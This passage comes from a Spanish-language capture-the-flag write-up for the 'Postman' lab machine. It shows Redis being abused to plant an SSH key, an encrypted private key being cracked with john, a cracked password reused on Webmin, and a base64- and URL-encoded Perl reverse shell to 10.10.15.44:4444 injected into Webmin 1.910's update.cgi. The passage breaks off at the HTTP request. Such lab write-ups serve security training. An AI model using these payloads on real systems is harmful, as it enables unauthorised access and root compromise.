&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; CONFIG SET dir /var/lib/redis/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="explotación-escritura-de-clave-ssh"&gt;Explotación: Escritura de Clave SSH&lt;/h3&gt;
&lt;p&gt;Abuso de la funcionalidad de guardado de base de datos de Redis para escribir mi propia clave pública en el archivo &lt;code&gt;authorized_keys&lt;/code&gt; del usuario &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Genero un par de claves SSH localmente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id_ed25519 id_ed25519.pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Escribo la clave pública en la memoria de Redis:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ cat id_ed25519.pub | redis-cli -h &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.1 -x set ssh_key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configuro el nombre del archivo de destino y guardo:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8061-a502-d6ef3f07b8b8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; CONFIG SET dbfilename authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; save
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; Inicialmente el login falla. Esto se debe a que el comando &lt;code&gt;save&lt;/code&gt; de Redis vuelca datos binarios en el archivo, corrompiendo el formato que espera SSH. Soluciono esto añadiendo saltos de línea (&lt;code&gt;\n\n&lt;/code&gt;) antes y después de la clave pública para aislarla de la &amp;ldquo;basura&amp;rdquo; binaria, permitiendo que &lt;code&gt;sshd&lt;/code&gt; la lea correctamente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(echo -e &lt;span style="color:#e6db74"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;; cat ~/id_rsa_generated.pub; echo -e &lt;span style="color:#e6db74"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;) &amp;gt; spaced_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cuando se usa el comando &lt;code&gt;SAVE&lt;/code&gt; o &lt;code&gt;BGSAVE&lt;/code&gt; en Redis, el servidor no escribe un archivo de texto limpio. Genera un archivo con formato &lt;strong&gt;RDB&lt;/strong&gt;, que es un formato binario propietario de Redis. Este archivo contiene metadatos, cabeceras y caracteres no imprimibles que &lt;code&gt;sshd&lt;/code&gt; (el servicio de SSH) no entiende.&lt;/p&gt;
&lt;p&gt;El servicio &lt;code&gt;sshd&lt;/code&gt; es muy tolerante cuando lee el archivo &lt;code&gt;authorized_keys&lt;/code&gt;. Su comportamiento es:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ignora las líneas que no reconoce o que tienen basura binaria.&lt;/li&gt;
&lt;li&gt;Busca específicamente una línea que empiece por &lt;code&gt;ssh-rsa&lt;/code&gt; (o el algoritmo que uses).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al rodear la llave con varios &lt;code&gt;\n&lt;/code&gt; (saltos de línea), nos aseguramos de que la llave pública quede &lt;strong&gt;aislada en su propia línea&lt;/strong&gt;, separada de la basura binaria que Redis escribe al principio y al final del archivo.&lt;/p&gt;
&lt;p&gt;Una vez corregido, accedo por SSH como el usuario &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8060-8ec9-fdd0843fd3fd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="movimiento-lateral-usuario-matt"&gt;Movimiento Lateral: Usuario Matt&lt;/h2&gt;
&lt;p&gt;Ya dentro del sistema, enumero los archivos del usuario.&lt;/p&gt;
&lt;p&gt;Enumerando podemos ver que el usuario redis estaba controlado por Matt.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis@Postman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ cat .bash_history
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/lib/redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemctl enable redis-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ifconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a &amp;gt; txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano &lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo que más llama la atención es ese archivo id_rsa.bak&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis@Postman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/Matt$ find / -name &lt;span style="color:#e6db74"&gt;&amp;#34;id_rsa.bak&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/opt/id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de una clave privada SSH encriptada. La transfiero a mi máquina local para intentar crackearla.&lt;/p&gt;
&lt;p&gt;El problema es que el usuario Matt no tiene permitido connectarse mediante SSH, ya que nos damos cuenta haciendo un cat a /etc/ssh/sshd_config, que era otro de los comandos ejecutados por el usuario redis.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BLA, BLA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#deny users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DenyUsers Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BLA, BLA
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-de-clave-ssh"&gt;Cracking de Clave SSH&lt;/h3&gt;
&lt;p&gt;Igualmente utilizo &lt;code&gt;ssh2john&lt;/code&gt; para convertir la clave a un formato crackeable y luego &lt;code&gt;john&lt;/code&gt; con el diccionario &lt;em&gt;rockyou&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e8-99a7-deca88115975.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ssh2john id_rsa &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id_rsa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ssh2john id_rsa &amp;gt; id_rsa.hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt id_rsa.hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;computer2008 (id_rsa)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos contraseña! &lt;code&gt;computer2008&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Probamos mediante SSH sabiendo que no va a funcionar, y efectivamente no podemos entrar, pero viendo que redis usaba su Matt.
Sin embargo, como ya estoy dentro como &lt;code&gt;redis&lt;/code&gt;, puedo cambiar de usuario localmente usando la contraseña crackeada.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80fa-8af4-c800edadd5cf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Bingo!&lt;/p&gt;
&lt;p&gt;Consigo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="elevación-de-privilegios"&gt;Elevación de privilegios&lt;/h3&gt;
&lt;p&gt;Al enumerar los permisos de sudo de Matt, veo que no tiene acceso a nada interesante. Sin embargo, recordamos el puerto 10000 (Webmin). Pruebo las credenciales &lt;code&gt;Matt:computer2008&lt;/code&gt; en el panel de login y logro acceder.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8087-b40c-d85ef56bef77.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Estamos dentro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-807e-88ab-d34e04243bca.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La versión 1.910 de Webmin es vulnerable a RCE autenticado en el endpoint de actualizaciones de paquetes. La vulnerabilidad reside en el parámetro &lt;code&gt;u&lt;/code&gt; del script &lt;code&gt;/package-updates/update.cgi&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Preparo un payload en Perl para establecer una reverse shell, lo codifico en Base64 y lo inyecto en la petición HTTP.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;perl -MIO -e &amp;#39;\&lt;/span&gt;$p&lt;span style="color:#e6db74"&gt;=fork;exit,if(\&lt;/span&gt;$p&lt;span style="color:#e6db74"&gt;);\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;=new IO::Socket::INET(PeerAddr,\&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;\&lt;span style="color:#e6db74"&gt;&amp;#34;);STDIN-&amp;gt;fdopen(\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;,r);\$~-&amp;gt;fdopen(\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;,w);system\&lt;/span&gt;$_&lt;span style="color:#e6db74"&gt; while&amp;lt;&amp;gt;;&amp;#39;&amp;#34;&lt;/span&gt; | base64 -w &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| bash -c &lt;span style="color:#e6db74"&gt;&amp;#34;{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==}|{base64,-d}|{bash,-i}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo URL Encodeamos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al enviar la petición, recibo una conexión inversa en mi listener como el usuario &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;POST /package-updates/update.cgi HTTP/&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;
